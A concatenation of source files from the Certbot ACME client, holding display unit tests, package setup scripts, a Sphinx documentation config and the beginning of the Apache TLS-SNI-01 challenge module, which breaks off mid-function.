                                           "valid.example.com"))
        self.assertEqual(_choose_names_manually(),
                         ["example.com", "under_score.example.com",
                          "justtld", "valid.example.com"])
        # Three iterations
        mock_util().input.return_value = (display_util.OK,
                                          "uniçodé.com")
        yn = mock.MagicMock()
        yn.side_effect = [True, True, False]
        mock_util().yesno = yn
        _choose_names_manually()
        self.assertEqual(mock_util().yesno.call_count, 3)


class SuccessInstallationTest(unittest.TestCase):
    # pylint: disable=too-few-public-methods
    """Test the success installation message."""
    @classmethod
    def _call(cls, names):
        from certbot.display.ops import success_installation
        success_installation(names)

    @mock.patch("certbot.display.ops.z_util")
    def test_success_installation(self, mock_util):
        mock_util().notification.return_value = None
        names = ["example.com", "abc.com"]

        self._call(names)

        self.assertEqual(mock_util().notification.call_count, 1)
        arg = mock_util().notification.call_args_list[0][0][0]

        for name in names:
            self.assertTrue(name in arg)


class SuccessRenewalTest(unittest.TestCase):
    # pylint: disable=too-few-public-methods
    """Test the success renewal message."""
    @classmethod
    def _call(cls, names):
        from certbot.display.ops import success_renewal
        success_renewal(names, "renew")

    @mock.patch("certbot.display.ops.z_util")
    def test_success_renewal(self, mock_util):
        mock_util().notification.return_value = None
        names = ["example.com", "abc.com"]

        self._call(names)

        self.assertEqual(mock_util().notification.call_count, 1)
        arg = mock_util().notification.call_args_list[0][0][0]

        for name in names:
            self.assertTrue(name in arg)


if __name__ == "__main__":
    unittest.main()  # pragma: no cover






"""Test certbot.display.completer."""
import os
import readline
import shutil
import string
import sys
import tempfile
import unittest

import mock
from six.moves import reload_module  # pylint: disable=import-error


class CompleterTest(unittest.TestCase):
    """Test certbot.display.completer.Completer."""

    def setUp(self):
        self.temp_dir = tempfile.mkdtemp()

        # directories must end with os.sep for completer to
        # search inside the directory for possible completions
        if self.temp_dir[-1] != os.sep:
            self.temp_dir += os.sep

        self.paths = []
        # create some files and directories in temp_dir
        for c in string.ascii_lowercase:
            path = os.path.join(self.temp_dir, c)
            self.paths.append(path)
            if ord(c) % 2:
                os.mkdir(path)
            else:
                with open(path, 'w'):
                    pass

    def tearDown(self):
        shutil.rmtree(self.temp_dir)

    def test_complete(self):
        from certbot.display import completer
        my_completer = completer.Completer()
        num_paths = len(self.paths)

        for i in range(num_paths):
            completion = my_completer.complete(self.temp_dir, i)
            self.assertTrue(completion in self.paths)
            self.paths.remove(completion)

        self.assertFalse(self.paths)
        completion = my_completer.complete(self.temp_dir, num_paths)
        self.assertEqual(completion, None)

    def test_import_error(self):
        original_readline = sys.modules['readline']
        sys.modules['readline'] = None

        self.test_context_manager_with_unmocked_readline()

        sys.modules['readline'] = original_readline

    def test_context_manager_with_unmocked_readline(self):
        from certbot.display import completer
        reload_module(completer)

        original_completer = readline.get_completer()
        original_delims = readline.get_completer_delims()

        with completer.Completer():
            pass

        self.assertEqual(readline.get_completer(), original_completer)
        self.assertEqual(readline.get_completer_delims(), original_delims)

    @mock.patch('certbot.display.completer.readline', autospec=True)
    def test_context_manager_libedit(self, mock_readline):
        mock_readline.__doc__ = 'libedit'
        self._test_context_manager_with_mock_readline(mock_readline)

    @mock.patch('certbot.display.completer.readline', autospec=True)
    def test_context_manager_readline(self, mock_readline):
        mock_readline.__doc__ = 'GNU readline'
        self._test_context_manager_with_mock_readline(mock_readline)

    def _test_context_manager_with_mock_readline(self, mock_readline):
        from certbot.display import completer

        mock_readline.parse_and_bind.side_effect = enable_tab_completion

        with completer.Completer():
            pass

        self.assertTrue(mock_readline.parse_and_bind.called)


def enable_tab_completion(unused_command):
    """Enables readline tab completion using the system specific syntax."""
    libedit = 'libedit' in readline.__doc__
    command = 'bind ^I rl_complete' if libedit else 'tab: complete'
    readline.parse_and_bind(command)

if __name__ == "__main__":
    unittest.main()  # pragma: no cover






"""Certbot Display Tests"""






"""Module for enhancement UI."""
import logging
import unittest

import mock

from certbot import errors
from certbot.display import util as display_util


class AskTest(unittest.TestCase):
    """Test the ask method."""
    def setUp(self):
        logging.disable(logging.CRITICAL)

    def tearDown(self):
        logging.disable(logging.NOTSET)

    @classmethod
    def _call(cls, enhancement):
        from certbot.display.enhancements import ask
        return ask(enhancement)

    @mock.patch("certbot.display.enhancements.util")
    def test_redirect(self, mock_util):
        mock_util().menu.return_value = (display_util.OK, 1)
        self.assertTrue(self._call("redirect"))

    def test_key_error(self):
        self.assertRaises(errors.Error, self._call, "unknown_enhancement")


class RedirectTest(unittest.TestCase):
    """Test the redirect_by_default method."""
    @classmethod
    def _call(cls):
        from certbot.display.enhancements import redirect_by_default
        return redirect_by_default()

    @mock.patch("certbot.display.enhancements.util")
    def test_secure(self, mock_util):
        mock_util().menu.return_value = (display_util.OK, 1)
        self.assertTrue(self._call())

    @mock.patch("certbot.display.enhancements.util")
    def test_cancel(self, mock_util):
        mock_util().menu.return_value = (display_util.CANCEL, 1)
        self.assertFalse(self._call())

    @mock.patch("certbot.display.enhancements.util")
    def test_easy(self, mock_util):
        mock_util().menu.return_value = (display_util.OK, 0)
        self.assertFalse(self._call())


if __name__ == "__main__":
    unittest.main()  # pragma: no cover






"""Test :mod:`certbot.display.util`."""
import os
import unittest

import mock

import certbot.errors as errors

from certbot.display import util as display_util


CHOICES = [("First", "Description1"), ("Second", "Description2")]
TAGS = ["tag1", "tag2", "tag3"]
TAGS_CHOICES = [("1", "tag1"), ("2", "tag2"), ("3", "tag3")]


class NcursesDisplayTest(unittest.TestCase):
    """Test ncurses display.

    Since this is mostly a wrapper, it might be more helpful to test the
    actual dialog boxes. The test file located in ./tests/display.py
    (relative to the root of the repository) will actually display the
    various boxes but requires the user to do the verification. If
    something seems amiss please use that test script to debug it, the
    automatic tests rely on too much mocking.

    """
    def setUp(self):
        super(NcursesDisplayTest, self).setUp()
        self.displayer = display_util.NcursesDisplay()

        self.default_menu_options = {
            "choices": CHOICES,
            "ok_label": "OK",
            "cancel_label": "Cancel",
            "help_button": False,
            "help_label": "",
            "width": display_util.WIDTH,
            "height": display_util.HEIGHT,
            "menu_height": display_util.HEIGHT - 6,
        }

    @mock.patch("certbot.display.util.dialog.Dialog.msgbox")
    def test_notification(self, mock_msgbox):
        """Kind of worthless... one liner."""
        self.displayer.notification("message")
        self.assertEqual(mock_msgbox.call_count, 1)

    @mock.patch("certbot.display.util.dialog.Dialog.menu")
    def test_menu_tag_and_desc(self, mock_menu):
        mock_menu.return_value = (display_util.OK, "First")

        ret = self.displayer.menu("Message", CHOICES)
        mock_menu.assert_called_with("Message", **self.default_menu_options)

        self.assertEqual(ret, (display_util.OK, 0))

    @mock.patch("certbot.display.util.dialog.Dialog.menu")
    def test_menu_tag_and_desc_cancel(self, mock_menu):
        mock_menu.return_value = (display_util.CANCEL, "")

        ret = self.displayer.menu("Message", CHOICES)

        mock_menu.assert_called_with("Message", **self.default_menu_options)

        self.assertEqual(ret, (display_util.CANCEL, -1))

    @mock.patch("certbot.display.util.dialog.Dialog.menu")
    def test_menu_desc_only(self, mock_menu):
        mock_menu.return_value = (display_util.OK, "1")

        ret = self.displayer.menu("Message", TAGS, help_label="More Info")

        self.default_menu_options.update(
            choices=TAGS_CHOICES, help_button=True, help_label="More Info")
        mock_menu.assert_called_with("Message", **self.default_menu_options)

        self.assertEqual(ret, (display_util.OK, 0))

    @mock.patch("certbot.display.util.dialog.Dialog.menu")
    def test_menu_desc_only_help(self, mock_menu):
        mock_menu.return_value = (display_util.HELP, "2")

        ret = self.displayer.menu("Message", TAGS, help_label="More Info")

        self.assertEqual(ret, (display_util.HELP, 1))

    @mock.patch("certbot.display.util.dialog.Dialog.menu")
    def test_menu_desc_only_cancel(self, mock_menu):
        mock_menu.return_value = (display_util.CANCEL, "")

        ret = self.displayer.menu("Message", TAGS, help_label="More Info")

        self.assertEqual(ret, (display_util.CANCEL, -1))

    @mock.patch("certbot.display.util."
                "dialog.Dialog.inputbox")
    def test_input(self, mock_input):
        mock_input.return_value = (mock.MagicMock(), mock.MagicMock())
        self.displayer.input("message")
        self.assertEqual(mock_input.call_count, 1)

    @mock.patch("certbot.display.util.dialog.Dialog.yesno")
    def test_yesno(self, mock_yesno):
        mock_yesno.return_value = display_util.OK

        self.assertTrue(self.displayer.yesno("message"))

        mock_yesno.assert_called_with(
            "message", yes_label="Yes", no_label="No")

    @mock.patch("certbot.display.util."
                "dialog.Dialog.checklist")
    def test_checklist(self, mock_checklist):
        mock_checklist.return_value = (mock.MagicMock(), mock.MagicMock())
        self.displayer.checklist("message", TAGS)

        choices = [
            (TAGS[0], "", True),
            (TAGS[1], "", True),
            (TAGS[2], "", True),
        ]
        mock_checklist.assert_called_with("message", choices=choices)

    @mock.patch("certbot.display.util.dialog.Dialog.dselect")
    def test_directory_select(self, mock_dselect):
        mock_dselect.return_value = (mock.MagicMock(), mock.MagicMock())
        self.displayer.directory_select("message")
        self.assertEqual(mock_dselect.call_count, 1)


class FileOutputDisplayTest(unittest.TestCase):
    """Test stdout display.

    Most of this class has to deal with visual output.  In order to test how the
    functions look to a user, uncomment the test_visual function.

    """
    def setUp(self):
        super(FileOutputDisplayTest, self).setUp()
        self.mock_stdout = mock.MagicMock()
        self.displayer = display_util.FileDisplay(self.mock_stdout)

    def test_notification_no_pause(self):
        self.displayer.notification("message", 10, False)
        string = self.mock_stdout.write.call_args[0][0]

        self.assertTrue("message" in string)

    def test_notification_pause(self):
        with mock.patch("six.moves.input", return_value="enter"):
            self.displayer.notification("message")

        self.assertTrue("message" in self.mock_stdout.write.call_args[0][0])

    @mock.patch("certbot.display.util."
                "FileDisplay._get_valid_int_ans")
    def test_menu(self, mock_ans):
        mock_ans.return_value = (display_util.OK, 1)
        ret = self.displayer.menu("message", CHOICES)
        self.assertEqual(ret, (display_util.OK, 0))

    def test_input_cancel(self):
        with mock.patch("six.moves.input", return_value="c"):
            code, _ = self.displayer.input("message")

        self.assertTrue(code, display_util.CANCEL)

    def test_input_normal(self):
        with mock.patch("six.moves.input", return_value="domain.com"):
            code, input_ = self.displayer.input("message")

        self.assertEqual(code, display_util.OK)
        self.assertEqual(input_, "domain.com")

    def test_yesno(self):
        with mock.patch("six.moves.input", return_value="Yes"):
            self.assertTrue(self.displayer.yesno("message"))
        with mock.patch("six.moves.input", return_value="y"):
            self.assertTrue(self.displayer.yesno("message"))
        with mock.patch("six.moves.input", side_effect=["maybe", "y"]):
            self.assertTrue(self.displayer.yesno("message"))
        with mock.patch("six.moves.input", return_value="No"):
            self.assertFalse(self.displayer.yesno("message"))
        with mock.patch("six.moves.input", side_effect=["cancel", "n"]):
            self.assertFalse(self.displayer.yesno("message"))

        with mock.patch("six.moves.input", return_value="a"):
            self.assertTrue(self.displayer.yesno("msg", yes_label="Agree"))

    @mock.patch("certbot.display.util.FileDisplay.input")
    def test_checklist_valid(self, mock_input):
        mock_input.return_value = (display_util.OK, "2 1")
        code, tag_list = self.displayer.checklist("msg", TAGS)
        self.assertEqual(
            (code, set(tag_list)), (display_util.OK, set(["tag1", "tag2"])))

    @mock.patch("certbot.display.util.FileDisplay.input")
    def test_checklist_miss_valid(self, mock_input):
        mock_input.side_effect = [
            (display_util.OK, "10"),
            (display_util.OK, "tag1 please"),
            (display_util.OK, "1")
        ]

        ret = self.displayer.checklist("msg", TAGS)
        self.assertEqual(ret, (display_util.OK, ["tag1"]))

    @mock.patch("certbot.display.util.FileDisplay.input")
    def test_checklist_miss_quit(self, mock_input):
        mock_input.side_effect = [
            (display_util.OK, "10"),
            (display_util.CANCEL, "1")
        ]
        ret = self.displayer.checklist("msg", TAGS)
        self.assertEqual(ret, (display_util.CANCEL, []))

    def test_scrub_checklist_input_valid(self):
        # pylint: disable=protected-access
        indices = [
            ["1"],
            ["1", "2", "1"],
            ["2", "3"],
        ]
        exp = [
            set(["tag1"]),
            set(["tag1", "tag2"]),
            set(["tag2", "tag3"]),
        ]
        for i, list_ in enumerate(indices):
            set_tags = set(
                self.displayer._scrub_checklist_input(list_, TAGS))
            self.assertEqual(set_tags, exp[i])

    @mock.patch("certbot.display.util.FileDisplay.input")
    def test_directory_select(self, mock_input):
        message = "msg"
        result = (display_util.OK, "/var/www/html",)
        mock_input.return_value = result

        self.assertEqual(self.displayer.directory_select(message), result)
        mock_input.assert_called_once_with(message)

    def test_scrub_checklist_input_invalid(self):
        # pylint: disable=protected-access
        indices = [
            ["0"],
            ["4"],
            ["tag1"],
            ["1", "tag1"],
            ["2", "o"]
        ]
        for list_ in indices:
            self.assertEqual(
                self.displayer._scrub_checklist_input(list_, TAGS), [])

    def test_print_menu(self):
        # pylint: disable=protected-access
        # This is purely cosmetic... just make sure there aren't any exceptions
        self.displayer._print_menu("msg", CHOICES)
        self.displayer._print_menu("msg", TAGS)

    def test_wrap_lines(self):
        # pylint: disable=protected-access
        msg = ("This is just a weak test{0}"
               "This function is only meant to be for easy viewing{0}"
               "Test a really really really really really really really really "
               "really really really really long line...".format(os.linesep))
        text = display_util._wrap_lines(msg)

        self.assertEqual(text.count(os.linesep), 3)

    def test_get_valid_int_ans_valid(self):
        # pylint: disable=protected-access
        with mock.patch("six.moves.input", return_value="1"):
            self.assertEqual(
                self.displayer._get_valid_int_ans(1), (display_util.OK, 1))
        ans = "2"
        with mock.patch("six.moves.input", return_value=ans):
            self.assertEqual(
                self.displayer._get_valid_int_ans(3),
                (display_util.OK, int(ans)))

    def test_get_valid_int_ans_invalid(self):
        # pylint: disable=protected-access
        answers = [
            ["0", "c"],
            ["4", "one", "C"],
            ["c"],
        ]
        for ans in answers:
            with mock.patch("six.moves.input", side_effect=ans):
                self.assertEqual(
                    self.displayer._get_valid_int_ans(3),
                    (display_util.CANCEL, -1))


class NoninteractiveDisplayTest(unittest.TestCase):
    """Test non-interactive display.

    These tests are pretty easy!

    """
    def setUp(self):
        super(NoninteractiveDisplayTest, self).setUp()
        self.mock_stdout = mock.MagicMock()
        self.displayer = display_util.NoninteractiveDisplay(self.mock_stdout)

    def test_notification_no_pause(self):
        self.displayer.notification("message", 10)
        string = self.mock_stdout.write.call_args[0][0]

        self.assertTrue("message" in string)

    def test_input(self):
        d = "an incomputable value"
        ret = self.displayer.input("message", default=d)
        self.assertEqual(ret, (display_util.OK, d))
        self.assertRaises(errors.MissingCommandlineFlag, self.displayer.input, "message")

    def test_menu(self):
        ret = self.displayer.menu("message", CHOICES, default=1)
        self.assertEqual(ret, (display_util.OK, 1))
        self.assertRaises(errors.MissingCommandlineFlag, self.displayer.menu, "message", CHOICES)

    def test_yesno(self):
        d = False
        ret = self.displayer.yesno("message", default=d)
        self.assertEqual(ret, d)
        self.assertRaises(errors.MissingCommandlineFlag, self.displayer.yesno, "message")

    def test_checklist(self):
        d = [1, 3]
        ret = self.displayer.checklist("message", TAGS, default=d)
        self.assertEqual(ret, (display_util.OK, d))
        self.assertRaises(errors.MissingCommandlineFlag, self.displayer.checklist, "message", TAGS)

    def test_directory_select(self):
        default = "/var/www/html"
        expected = (display_util.OK, default)
        actual = self.displayer.directory_select("msg", default)
        self.assertEqual(expected, actual)

        self.assertRaises(
            errors.MissingCommandlineFlag, self.displayer.directory_select, "msg")


class SeparateListInputTest(unittest.TestCase):
    """Test Module functions."""
    def setUp(self):
        self.exp = ["a", "b", "c", "test"]

    @classmethod
    def _call(cls, input_):
        from certbot.display.util import separate_list_input
        return separate_list_input(input_)

    def test_commas(self):
        self.assertEqual(self._call("a,b,c,test"), self.exp)

    def test_spaces(self):
        self.assertEqual(self._call("a b c test"), self.exp)

    def test_both(self):
        self.assertEqual(self._call("a, b, c, test"), self.exp)

    def test_mess(self):
        actual = [
            self._call("  a , b    c \t test"),
            self._call(",a, ,, , b c  test  "),
            self._call(",,,,, , a b,,, , c,test"),
        ]

        for act in actual:
            self.assertEqual(act, self.exp)


class PlaceParensTest(unittest.TestCase):
    @classmethod
    def _call(cls, label):  # pylint: disable=protected-access
        from certbot.display.util import _parens_around_char
        return _parens_around_char(label)

    def test_single_letter(self):
        self.assertEqual("(a)", self._call("a"))

    def test_multiple(self):
        self.assertEqual("(L)abel", self._call("Label"))
        self.assertEqual("(y)es please", self._call("yes please"))


if __name__ == "__main__":
    unittest.main()  # pragma: no cover






import codecs
import os
import sys

from setuptools import setup
from setuptools import find_packages


def read_file(filename, encoding='utf8'):
    """Read unicode from given file."""
    with codecs.open(filename, encoding=encoding) as fd:
        return fd.read()


here = os.path.abspath(os.path.dirname(__file__))
readme = read_file(os.path.join(here, 'README.rst'))


version = '0.7.0.dev0'


# This package is a simple shim around letshelp-certbot
install_requires = ['letshelp-certbot']


setup(
    name='letshelp-letsencrypt',
    version=version,
    description="Let's help Let's Encrypt client",
    long_description=readme,
    url='https://github.com/letsencrypt/letsencrypt',
    author="Certbot Project",
    author_email='client-dev@letsencrypt.org',
    license='Apache License 2.0',
    classifiers=[
        'Development Status :: 3 - Alpha',
        'Environment :: Plugins',
        'Intended Audience :: System Administrators',
        'License :: OSI Approved :: Apache Software License',
        'Operating System :: POSIX :: Linux',
        'Programming Language :: Python',
        'Programming Language :: Python :: 2',
        'Programming Language :: Python :: 2.6',
        'Programming Language :: Python :: 2.7',
        'Topic :: Internet :: WWW/HTTP',
        'Topic :: Security',
        'Topic :: System :: Installation/Setup',
        'Topic :: System :: Networking',
        'Topic :: System :: Systems Administration',
        'Topic :: Utilities',
    ],

    packages=find_packages(),
    include_package_data=True,
    install_requires=install_requires,
    entry_points={
        'console_scripts': [
            'letshelp-letsencrypt-apache = letshelp_certbot.apache:main',
        ],
    },
)






"""Tools for submitting server configurations."""
import sys


import letshelp_certbot


sys.modules['letshelp_letsencrypt'] = letshelp_certbot






import sys

from setuptools import setup
from setuptools import find_packages


version = '0.9.0.dev0'

# Please update tox.ini when modifying dependency version requirements
install_requires = [
    'acme=={0}'.format(version),
    'certbot=={0}'.format(version),
    'python-augeas',
    # For pkg_resources. >=1.0 so pip resolves it to a version cryptography
    # will tolerate; see #2599:
    'setuptools>=1.0',
    'zope.component',
    'zope.interface',
]

if sys.version_info < (2, 7):
    install_requires.append('mock<1.1.0')
else:
    install_requires.append('mock')

docs_extras = [
    'Sphinx>=1.0',  # autodoc_member_order = 'bysource', autodoc_default_flags
    'sphinx_rtd_theme',
]

setup(
    name='certbot-apache',
    version=version,
    description="Apache plugin for Certbot",
    url='https://github.com/letsencrypt/letsencrypt',
    author="Certbot Project",
    author_email='client-dev@letsencrypt.org',
    license='Apache License 2.0',
    classifiers=[
        'Development Status :: 3 - Alpha',
        'Environment :: Plugins',
        'Intended Audience :: System Administrators',
        'License :: OSI Approved :: Apache Software License',
        'Operating System :: POSIX :: Linux',
        'Programming Language :: Python',
        'Programming Language :: Python :: 2',
        'Programming Language :: Python :: 2.6',
        'Programming Language :: Python :: 2.7',
        'Topic :: Internet :: WWW/HTTP',
        'Topic :: Security',
        'Topic :: System :: Installation/Setup',
        'Topic :: System :: Networking',
        'Topic :: System :: Systems Administration',
        'Topic :: Utilities',
    ],

    packages=find_packages(),
    include_package_data=True,
    install_requires=install_requires,
    extras_require={
        'docs': docs_extras,
    },
    entry_points={
        'certbot.plugins': [
            'apache = certbot_apache.configurator:ApacheConfigurator',
        ],
    },
    test_suite='certbot_apache',
)






# -*- coding: utf-8 -*-
#
# certbot-apache documentation build configuration file, created by
# sphinx-quickstart on Sun Oct 18 13:39:26 2015.
#
# This file is execfile()d with the current directory set to its
# containing dir.
#
# Note that not all possible configuration values are present in this
# autogenerated file.
#
# All configuration values have a default; values that are commented out
# serve to show the default.

import sys
import os
import shlex

import mock


# http://docs.readthedocs.org/en/latest/faq.html#i-get-import-errors-on-libraries-that-depend-on-c-modules
# c.f. #262
sys.modules.update(
    (mod_name, mock.MagicMock()) for mod_name in ['augeas'])

here = os.path.abspath(os.path.dirname(__file__))

# If extensions (or modules to document with autodoc) are in another directory,
# add these directories to sys.path here. If the directory is relative to the
# documentation root, use os.path.abspath to make it absolute, like shown here.
sys.path.insert(0, os.path.abspath(os.path.join(here, '..')))

# -- General configuration ------------------------------------------------

# If your documentation needs a minimal Sphinx version, state it here.
needs_sphinx = '1.0'

# Add any Sphinx extension module names here, as strings. They can be
# extensions coming with Sphinx (named 'sphinx.ext.*') or your custom
# ones.
extensions = [
    'sphinx.ext.autodoc',
    'sphinx.ext.intersphinx',
    'sphinx.ext.todo',
    'sphinx.ext.coverage',
    'sphinx.ext.viewcode',
]

autodoc_member_order = 'bysource'
autodoc_default_flags = ['show-inheritance', 'private-members']

# Add any paths that contain templates here, relative to this directory.
templates_path = ['_templates']

# The suffix(es) of source filenames.
# You can specify multiple suffix as a list of string:
# source_suffix = ['.rst', '.md']
source_suffix = '.rst'

# The encoding of source files.
#source_encoding = 'utf-8-sig'

# The master toctree document.
master_doc = 'index'

# General information about the project.
project = u'certbot-apache'
copyright = u'2014-2015, Let\'s Encrypt Project'
author = u'Certbot Project'

# The version info for the project you're documenting, acts as replacement for
# |version| and |release|, also used in various other places throughout the
# built documents.
#
# The short X.Y version.
version = '0'
# The full version, including alpha/beta/rc tags.
release = '0'

# The language for content autogenerated by Sphinx. Refer to documentation
# for a list of supported languages.
#
# This is also used if you do content translation via gettext catalogs.
# Usually you set "language" from the command line for these cases.
language = 'en'

# There are two options for replacing |today|: either, you set today to some
# non-false value, then it is used:
#today = ''
# Else, today_fmt is used as the format for a strftime call.
#today_fmt = '%B %d, %Y'

# List of patterns, relative to source directory, that match files and
# directories to ignore when looking for source files.
exclude_patterns = ['_build']

# The reST default role (used for this markup: `text`) to use for all
# documents.
default_role = 'py:obj'

# If true, '()' will be appended to :func: etc. cross-reference text.
#add_function_parentheses = True

# If true, the current module name will be prepended to all description
# unit titles (such as .. function::).
#add_module_names = True

# If true, sectionauthor and moduleauthor directives will be shown in the
# output. They are ignored by default.
#show_authors = False

# The name of the Pygments (syntax highlighting) style to use.
pygments_style = 'sphinx'

# A list of ignored prefixes for module index sorting.
#modindex_common_prefix = []

# If true, keep warnings as "system message" paragraphs in the built documents.
#keep_warnings = False

# If true, `todo` and `todoList` produce output, else they produce nothing.
todo_include_todos = True


# -- Options for HTML output ----------------------------------------------

# The theme to use for HTML and HTML Help pages.  See the documentation for
# a list of builtin themes.

# http://docs.readthedocs.org/en/latest/theme.html#how-do-i-use-this-locally-and-on-read-the-docs
# on_rtd is whether we are on readthedocs.org
on_rtd = os.environ.get('READTHEDOCS', None) == 'True'
if not on_rtd:  # only import and set the theme if we're building docs locally
    import sphinx_rtd_theme
    html_theme = 'sphinx_rtd_theme'
    html_theme_path = [sphinx_rtd_theme.get_html_theme_path()]
# otherwise, readthedocs.org uses their theme by default, so no need to specify it

# Theme options are theme-specific and customize the look and feel of a theme
# further.  For a list of options available for each theme, see the
# documentation.
#html_theme_options = {}

# Add any paths that contain custom themes here, relative to this directory.
#html_theme_path = []

# The name for this set of Sphinx documents.  If None, it defaults to
# "<project> v<release> documentation".
#html_title = None

# A shorter title for the navigation bar.  Default is the same as html_title.
#html_short_title = None

# The name of an image file (relative to this directory) to place at the top
# of the sidebar.
#html_logo = None

# The name of an image file (within the static path) to use as favicon of the
# docs.  This file should be a Windows icon file (.ico) being 16x16 or 32x32
# pixels large.
#html_favicon = None

# Add any paths that contain custom static files (such as style sheets) here,
# relative to this directory. They are copied after the builtin static files,
# so a file named "default.css" will overwrite the builtin "default.css".
html_static_path = ['_static']

# Add any extra paths that contain custom files (such as robots.txt or
# .htaccess) here, relative to this directory. These files are copied
# directly to the root of the documentation.
#html_extra_path = []

# If not '', a 'Last updated on:' timestamp is inserted at every page bottom,
# using the given strftime format.
#html_last_updated_fmt = '%b %d, %Y'

# If true, SmartyPants will be used to convert quotes and dashes to
# typographically correct entities.
#html_use_smartypants = True

# Custom sidebar templates, maps document names to template names.
#html_sidebars = {}

# Additional templates that should be rendered to pages, maps page names to
# template names.
#html_additional_pages = {}

# If false, no module index is generated.
#html_domain_indices = True

# If false, no index is generated.
#html_use_index = True

# If true, the index is split into individual pages for each letter.
#html_split_index = False

# If true, links to the reST sources are added to the pages.
#html_show_sourcelink = True

# If true, "Created using Sphinx" is shown in the HTML footer. Default is True.
#html_show_sphinx = True

# If true, "(C) Copyright ..." is shown in the HTML footer. Default is True.
#html_show_copyright = True

# If true, an OpenSearch description file will be output, and all pages will
# contain a <link> tag referring to it.  The value of this option must be the
# base URL from which the finished HTML is served.
#html_use_opensearch = ''

# This is the file name suffix for HTML files (e.g. ".xhtml").
#html_file_suffix = None

# Language to be used for generating the HTML full-text search index.
# Sphinx supports the following languages:
#   'da', 'de', 'en', 'es', 'fi', 'fr', 'hu', 'it', 'ja'
#   'nl', 'no', 'pt', 'ro', 'ru', 'sv', 'tr'
#html_search_language = 'en'

# A dictionary with options for the search language support, empty by default.
# Now only 'ja' uses this config value
#html_search_options = {'type': 'default'}

# The name of a javascript file (relative to the configuration directory) that
# implements a search results scorer. If empty, the default will be used.
#html_search_scorer = 'scorer.js'

# Output file base name for HTML help builder.
htmlhelp_basename = 'certbot-apachedoc'

# -- Options for LaTeX output ---------------------------------------------

latex_elements = {
    # The paper size ('letterpaper' or 'a4paper').
    #'papersize': 'letterpaper',

    # The font size ('10pt', '11pt' or '12pt').
    #'pointsize': '10pt',

    # Additional stuff for the LaTeX preamble.
    #'preamble': '',

    # Latex figure (float) alignment
    #'figure_align': 'htbp',
}

# Grouping the document tree into LaTeX files. List of tuples
# (source start file, target name, title,
#  author, documentclass [howto, manual, or own class]).
latex_documents = [
    (master_doc, 'certbot-apache.tex', u'certbot-apache Documentation',
     u'Certbot Project', 'manual'),
]

# The name of an image file (relative to this directory) to place at the top of
# the title page.
#latex_logo = None

# For "manual" documents, if this is true, then toplevel headings are parts,
# not chapters.
#latex_use_parts = False

# If true, show page references after internal links.
#latex_show_pagerefs = False

# If true, show URL addresses after external links.
#latex_show_urls = False

# Documents to append as an appendix to all manuals.
#latex_appendices = []

# If false, no module index is generated.
#latex_domain_indices = True


# -- Options for manual page output ---------------------------------------

# One entry per manual page. List of tuples
# (source start file, name, description, authors, manual section).
man_pages = [
    (master_doc, 'certbot-apache', u'certbot-apache Documentation',
     [author], 1)
]

# If true, show URL addresses after external links.
#man_show_urls = False


# -- Options for Texinfo output -------------------------------------------

# Grouping the document tree into Texinfo files. List of tuples
# (source start file, target name, title, author,
#  dir menu entry, description, category)
texinfo_documents = [
    (master_doc, 'certbot-apache', u'certbot-apache Documentation',
     author, 'certbot-apache', 'One line description of project.',
     'Miscellaneous'),
]

# Documents to append as an appendix to all manuals.
#texinfo_appendices = []

# If false, no module index is generated.
#texinfo_domain_indices = True

# How to display URL addresses: 'footnote', 'no', or 'inline'.
#texinfo_show_urls = 'footnote'

# If true, do not generate a @detailmenu in the "Top" node's menu.
#texinfo_no_detailmenu = False


intersphinx_mapping = {
    'python': ('https://docs.python.org/', None),
    'acme': ('https://acme-python.readthedocs.org/en/latest/', None),
    'certbot': ('https://certbot.eff.org/docs/', None),
}






"""A class that performs TLS-SNI-01 challenges for Apache"""

import os
import logging

from certbot.plugins import common
from certbot.errors import PluginError, MissingCommandlineFlag

from certbot_apache import obj
from certbot_apache import parser

logger = logging.getLogger(__name__)


class ApacheTlsSni01(common.TLSSNI01):
    """Class that performs TLS-SNI-01 challenges within the Apache configurator

    :ivar configurator: ApacheConfigurator object
    :type configurator: :class:`~apache.configurator.ApacheConfigurator`

    :ivar list achalls: Annotated TLS-SNI-01
        (`.KeyAuthorizationAnnotatedChallenge`) challenges.

    :param list indices: Meant to hold indices of challenges in a
        larger array. ApacheTlsSni01 is capable of solving many challenges
        at once which causes an indexing issue within ApacheConfigurator
        who must return all responses in order.  Imagine ApacheConfigurator
        maintaining state about where all of the http-01 Challenges,
        TLS-SNI-01 Challenges belong in the response array.  This is an
        optional utility.

    :param str challenge_conf: location of the challenge config file

    """

    VHOST_TEMPLATE = """\
<VirtualHost {vhost}>
    ServerName {server_name}
    UseCanonicalName on
    SSLStrictSNIVHostCheck on

    LimitRequestBody 1048576

    Include {ssl_options_conf_path}
    SSLCertificateFile {cert_path}
    SSLCertificateKeyFile {key_path}

    DocumentRoot {document_root}
</VirtualHost>

"""

    def __init__(self, *args, **kwargs):
        super(ApacheTlsSni01, self).__init__(*args, **kwargs)

        self.challenge_conf = os.path.join(
            self.configurator.conf("challenge-location"),
            "le_tls_sni_01_cert_challenge.conf")

    def perform(self):
        """Perform a TLS-SNI-01 challenge."""
        if not self.achalls:
            return []
        # Save any changes to the configuration as a precaution
        # About to make temporary changes to the config
        self.configurator.save("Changes before challenge setup", True)

        # Prepare the server for HTTPS
        self.configurator.prepare_server_https(
            str(self.configurator.config.tls_sni_01_port), True)

        responses = []

        # Create all of the challenge certs
        for achall in self.achalls:
            responses.append(self._setup_challenge_cert(achall))

        # Setup the configuration
        addrs = self._mod_config()
        self.configurator.save("Don't lose mod_config changes", True)
        self.configurator.make_addrs_sni_ready(addrs)

        # Save reversible changes
        self.configurator.save("SNI Challenge", True)

        return responses

    def _mod_config(self):
        """Modifies Apache config files to include challenge vhosts.

        Result: Apache config includes virtual servers for issued challs

        :returns: All TLS-SNI-01 addresses used
        :rtype: set

        """
        addrs = set()
        config_text = "<IfModule mod_ssl.c>\n"

        for achall in self.achalls:
            achall_addrs = self._get_addrs(achall)
            addrs.update(achall_addrs)

            config_text += self._get_config_text(achall, achall_addrs)

        config_text += "</IfModule>\n"

        self._conf_include_check(self.configurator.parser.loc["default"])
        self.configurator.reverter.register_file_creation(
            True, self.challenge_conf)

        logger.debug("writing a config file with text:\n %s", config_text)
        with open(self.challenge_conf, "w") as new_conf:
            new_conf.write(config_text)

        return addrs

    def _get_addrs(self, achall):
        """Return the Apache addresses needed for TLS-SNI-01."""
        # TODO: Checkout _default_ rules.
        addrs = set()
        default_addr = obj.Addr(("*", str(
            self.configurator.config.tls_sni_01_port)))

        try:
            vhost = self.configurator.choose_vhost(achall.domain, temp=True)
